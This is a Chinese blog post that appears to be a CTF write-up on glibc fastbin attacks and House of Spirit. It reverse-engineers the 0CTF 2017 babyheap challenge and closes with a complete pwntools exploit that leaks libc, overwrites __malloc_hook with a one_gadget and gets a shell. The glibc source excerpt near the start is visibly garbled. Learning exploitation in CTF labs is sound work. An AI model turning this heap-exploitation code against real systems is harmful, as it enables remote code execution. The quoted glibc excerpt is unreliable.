fastbinAtk - 超级玉米人的博客

超级玉米人

公告

欢迎来到我的博客！这里将分享我的日常与技术学习笔记。~(∠・ω< )⌒★

Learn More

标签

超级玉米人

公告

欢迎来到我的博客！这里将分享我的日常与技术学习笔记。~(∠・ω< )⌒★

Learn More

标签

超级玉米人

公告

欢迎来到我的博客！这里将分享我的日常与技术学习笔记。~(∠・ω< )⌒★

Learn More

标签

689 字

2 分钟

fastbinAtk

2026-04-29

ctfwp

ctf

/

heap

FastBinAttack#

fastbin Attack 是一类漏洞的利用方法，是所有基于 fastbin机制的漏洞方法。这类利用的前提是

存在堆溢出, Uaf等能够控制chunk 内容的漏洞
漏洞发生于 fastbin 类型的chunk 中

fastbin 存在的原因是fastbin 是使用单链表来维护释放堆块的，并且 fastbin 管理的 chunk 即使被释放，其 next_chunk 的 prev_inuse 也不会被清空, 由下面的代码可以看到 fastbin 是这样管理空闲 chunk的

1
if (__builtin_expect (old == p, 0))
2
  malloc_printerr("double free or corruption")
3
p->fd = PROTECT (&p->fd, old)
4
*fb = p;
5
    }
6
  else
7
    do
8
    {
9
      /* Check that the top of the bin is not record we are going to add (i.e. double free)*/
10
      if(__buildin_expect (old == p, 0))
11
        malloc_printerr("double free or corruption")
12
      old2 = old;
13
      p->fd = PROTECT_PTR("double free or corruption(fasttop)")
14
    }
15
    ...

House of spirit#

House of spirit的主要原理是改写 free 状态的 fast chunk 的fd 指针，在下一次分配时拿到目标地址的读写权

释放一个 fast chunk，并且为了防止 Tcahce的干扰，所以可能需要绕过Tcahce
fast chunk 被放进了 fastbin，假设此时改chunk为第一个被放进 bin 的chunk，那么ptmalloc为其fd赋值为0
利用漏洞改写fd指针为目标地址eg: __free_hook,
申请一个被释放大小的堆块

对于 __malloc_hook 中常用的偏移#

common_offsets = [0x23, 0x1b, 0x13, 0x2b, 0x33]

BABYHEAP_0CTF_2017 BUUCTF#

将程序拖入 ida 中发现如下代码，经过逆向分析，还原出如下重要函数

1
int menu()
2
{
3
  puts("1. Allocate");
4
  puts("2. Fill");
5
  puts("3. Free");
6
  puts("4. Dump");
7
  puts("5. Exit");
8
  return printf("Command: ");
9
}
10

11
void __fastcall allocate(__int64 a1)  // 分配堆
12
{
13
  int n15; // [rsp+10h] [rbp-10h]
14
  int n4096; // [rsp+14h] [rbp-Ch]
15
  void *v3; // [rsp+18h] [rbp-8h]
16

17
  for ( n15 = 0; n15 <= 15; ++n15 )
18
  {
19
    if ( !*(_DWORD *)(24LL * n15 + a1) )
20
    {
21
      printf("Size: ");
22
      n4096 = input_int();
23
      if ( n4096 > 0 )
24
      {
25
        if ( n4096 > 4096 )
26
          n4096 = 4096;
27
        v3 = calloc(n4096, 1u);
28
        if ( !v3 )
29
          exit(-1);
30
        *(_DWORD *)(24LL * n15 + a1) = 1;
31
        *(_QWORD *)(a1 + 24LL * n15 + 8) = n4096;
32
        *(_QWORD *)(a1 + 24LL * n15 + 16) = v3;
33
        printf("Allocate Index %d\n", n15);
34
      }
35
      return;
36
    }
37
  }
38
}
39

40
__int64 __fastcall fill(__int64 a1)
41
{
42
  __int64 n0x10; // rax
43
  int n0x10_1; // [rsp+18h] [rbp-8h]
44
  int n0x10_2; // [rsp+1Ch] [rbp-4h]
45

46
  printf("Index: ");
47
  n0x10 = input_int();
48
  n0x10_1 = n0x10;
49
  if ( (unsigned int)n0x10 < 0x10 )
50
  {
51
    n0x10 = *(unsigned int *)(24LL * (int)n0x10 + a1);
52
    if ( (_DWORD)n0x10 == 1 )
53
    {
54
      printf("Size: ");
55
      n0x10 = input_int();
56
      n0x10_2 = n0x10;
57
      if ( (int)n0x10 > 0 )
58
      {
59
        printf("Content: ");
60
        return sub_11B2(*(_QWORD *)(24LL * n0x10_1 + a1 + 16), n0x10_2);
61
      }
62
    }
63
  }
64
  return n0x10;
65
}
66

67
__int64 __fastcall my_free(__int64 a1)
68
{
69
  __int64 n0x10; // rax
70
  int n0x10_1; // [rsp+1Ch] [rbp-4h]
71

72
  printf("Index: ");
73
  n0x10 = input_int();
74
  n0x10_1 = n0x10;
75
  if ( (unsigned int)n0x10 < 0x10 )
76
  {
77
    n0x10 = *(unsigned int *)(24LL * (int)n0x10 + a1);
78
    if ( (_DWORD)n0x10 == 1 )
79
    {
80
      *(_DWORD *)(24LL * n0x10_1 + a1) = 0;
81
      *(_QWORD *)(24LL * n0x10_1 + a1 + 8) = 0;
82
      free(*(void **)(24LL * n0x10_1 + a1 + 16));
83
      n0x10 = 24LL * n0x10_1 + a1;
84
      *(_QWORD *)(n0x10 + 16) = 0;
85
    }
86
  }
87
  return n0x10;
88
}
89

90
int __fastcall dump(__int64 a1)
91
{
92
  int n0x10; // eax
93
  int n0x10_1; // [rsp+1Ch] [rbp-4h]
94

95
  printf("Index: ");
96
  n0x10 = input_int();
97
  n0x10_1 = n0x10;
98
  if ( (unsigned int)n0x10 < 0x10 )
99
  {
100
    n0x10 = *(_DWORD *)(24LL * n0x10 + a1);
101
    if ( n0x10 == 1 )
102
    {
103
      puts("Content: ");
104
      sub_130F(*(_QWORD *)(24LL * n0x10_1 + a1 + 16), *(_QWORD *)(24LL * n0x10_1 + a1 + 8));
105
      return puts(s_);
106
    }
107
  }
108
  return n0x10;
109
}

这是一个典型的菜单堆

allocate 通过分析可以发现程序通过一个有限长的结构体列表来管理堆块，这个结构体的结构如下

1
struct db {
2
    QWORD is_use
3
    QWORD size
4
    QWORD ptr
5
}

程序会主动寻找首个 is_use 为空的结构体db 来分配堆块, 同时可申请的堆块最大为 4096

my_free 这里可以发现在free之后, 可以发现会将指针置为0，所以不能直接利用Uaf
fill 这里可以任意写堆块内容, 同时存在堆溢出漏洞
dump 打印堆块内容

题解#

由于在程序中不存在可以直接获得shell的函数所以需要先泄露libc的地址，因为这里不存在直接的Uaf，所以这里需要使用堆溢出伪造chunk 然后通过泄露 unsorted bins 的 bk 指针获取 libc 地址

所以首先泄露创建若干 fastbin 和一个unsortedbin 大小的 chunk

1
allocate(0x10) # 0
2
allocate(0x10) # 1
3
allocate(0x10) # 2
4
allocate(0x10) # 3
5
allocate(0x80) # 4
6

7
free(1)
8
free(2)
9

10
fix_chunk = flat(
11
    {
12
        #0 8 10 18
13
        0x18: p8(0x21)
14
    },
15
    filler = b"\x00"
16
)
17

18
fill(3, fix_chunk)
19

20
fix_chunk = flat(
21
    {
22
        0x18: p64(0x91)
23
    },
24
    filler = b"\x00"
25
)
26

27
fill(3, fix_chunk)

首先将 1，2 两个 chunk 释放, 然后通过 chunk0 进行堆溢出修改chunk1 的 fd

这里导致了 chunk2 -> chunk4

接下来只要继续申请就能够将 chunk4 申请到，此时实现了多个指针指向 chunk4

接下来是准备让 chunk4进入 unsorted bin 泄露 libc, 使得释放的chunk 进入 unsorted bin 存在如下条件

大小在 unsorted bin 的范围内
不是 Top chunk

1
allocate(0x80)
2
free(4)
3

4
libc_offset = 0x3c4b78
5

6
dump(2)
7
p.recvline()
8
leak_addr = u64(p.recv(8))
9
log.success(f": {hex(leak_addr)}")
10
libc.address = leak_addr - libc_offset
11
malloc_hook = libc.sym["__malloc_hook"]
12

13
log.success(f"libc_base: {hex(libc.address)}")
14
log.success(f"__malloc_hook: {hex(malloc_hook)}")

泄露出 libc的地址之后我们就可以劫持__malloc_hook修改为 one_gadget，来获取shell, 一般来说在 __malloc_hook - 0x23 地址存在一个天然的伪chunk，可以刚好用来修改malloc 的值

1
one_gadget = libc.address + 0x4526a
2

3
# payload = p64(libc.address + 0x3c4aed)
4
#  common_offsets = [0x23, 0x1b, 0x13, 0x2b, 0x33]
5
payload = p64(malloc_hook - 0x23)
6

7
fill(2, payload)
8
allocate(0x60)   # get fake_chunk
9
allocate(0x60)
10

11
payload = flat(
12
    {
13
        0x13: p64(one_gadget)
14
    },
15
    filler = b"\x00"
16
)
17

18
fill(6, payload)
19
allocate(0xff)  # 执行 malloc hook
20
p.interactive()

exp#

于是完成如下EXP

1
from pwn import *
2

3
file = "./babyheap_0ctf_2017_patched"
4
libcf = "./libc-2.23.so"
5
host = "127.0.0.1"
6
port = 1234
7
fix_chunk = flat(
8
    {
9
        #0 8 10 18
10
        0x18: p8(0x21)
11
    },
12
    filler = b"\x00"
13
)
14
is_remote = False
15

16
context.log_level = "debug"
17
context.binary = file
18

19
if is_remote:
20
    p = remote(host, port)
21
else:
22
    p = process(file)
23

24
elf = ELF(file)
25
rop = ROP(elf)
26
libc = ELF(libcf)
27

28
def menu(index: int):
29
    global p
30

31
    p.recvuntil(b"Command: ")
32
    p.sendline(str(index).encode())
33

34
def allocate(size: int):
35
    global p
36

37
    menu(1)
38

39
    p.recvuntil(b"Size: ")
40
    p.sendline(str(size).encode())
41

42
def fill(index: int, content: bytes):
43
    global p
44

45
    menu(2)
46

47
    size = len(content)
48

49
    p.recvuntil(b"Index: ")
50
    p.sendline(str(index).encode())
51

52
    p.recvuntil(b"Size: ")
53
    p.sendline(str(size).encode())
54

55
    p.recvuntil(b"Content: ")
56
    p.send(content)
57

58

59
def free(index: int):
60
    global p
61
    menu(3)
62

63
    p.recvuntil(b"Index: ")
64
    p.sendline(str(index).encode())
65

66
def dump(index: int):
67
    global p
68
    menu(4)
69

70
    p.recvuntil(b"Index: ")
71
    p.sendline(str(index).encode())
72

73
allocate(0x10) # 0
74
allocate(0x10) # 1
75
allocate(0x10) # 2
76
allocate(0x10) # 3
77
allocate(0x80) # 4
78

79
free(1)
80
free(2)
81

82
fake_chunks = flat(
83
    {
84
        # 0x0 0x8 0x10 0x18 0x20 0x28 0x30
85
        0x18: p64(0x21),
86
        0x38: p64(0x21),
87
        0x40: p8(0x80)
88
    },
89
    filler = b"\x00"
90
)
91

92
fill(0, fake_chunks)
93

94
fix_chunk = flat(
95
    {
96
        #0 8 10 18
97
        0x18: p8(0x21)
98
    },
99
    filler = b"\x00"
100
)
101
fill(3, fix_chunk)
102

103
allocate(0x10)
104
allocate(0x10)
105

106
fix_chunk = flat(
107
    {
108
        0x18: p64(0x91)
109
    },
110
    filler = b"\x00"
111
)
112

113
fill(3, fix_chunk)
114

115
allocate(0x80)
116
free(4)
117

118
libc_offset = 0x3c4b78
119

120
dump(2)
121
p.recvline()
122
leak_addr = u64(p.recv(8))
123
log.success(f": {hex(leak_addr)}")
124
libc.address = leak_addr - libc_offset
125
malloc_hook = libc.sym["__malloc_hook"]
126

127
log.success(f"libc_base: {hex(libc.address)}")
128
log.success(f"__malloc_hook: {hex(malloc_hook)}")
129

130
one_gadget = libc.address + 0x4526a
131

132
allocate(0x60)
133
free(4)
134

135
# payload = p64(libc.address + 0x3c4aed)
136
#  common_offsets = [0x23, 0x1b, 0x13, 0x2b, 0x33]
137
payload = p64(malloc_hook - 0x23)
138

139
fill(2, payload)
140
allocate(0x60)   # get fake_chunk
141
allocate(0x60)
142

143
payload = flat(
144
    {
145
        0x13: p64(one_gadget)
146
    },
147
    filler = b"\x00"
148
)
149

150
fill(6, payload)
151
allocate(0xff)  # 执行 malloc hook
152
p.interactive()

如果这篇文章对你有帮助，欢迎分享给更多人！

fastbinAtk

https://yoyolp.github.io/posts/interestingchall/malloc_hook_atk/

作者

超级玉米人

发布于

2026-04-29

许可协议

CC BY-NC-SA 4.0

部分信息可能已经过时

unlink

425考核wp

超级玉米人の部屋

FastBinAttack#

House of spirit#

对于 __malloc_hook 中常用的偏移#

BABYHEAP_0CTF_2017 BUUCTF#

题解#

exp#

目录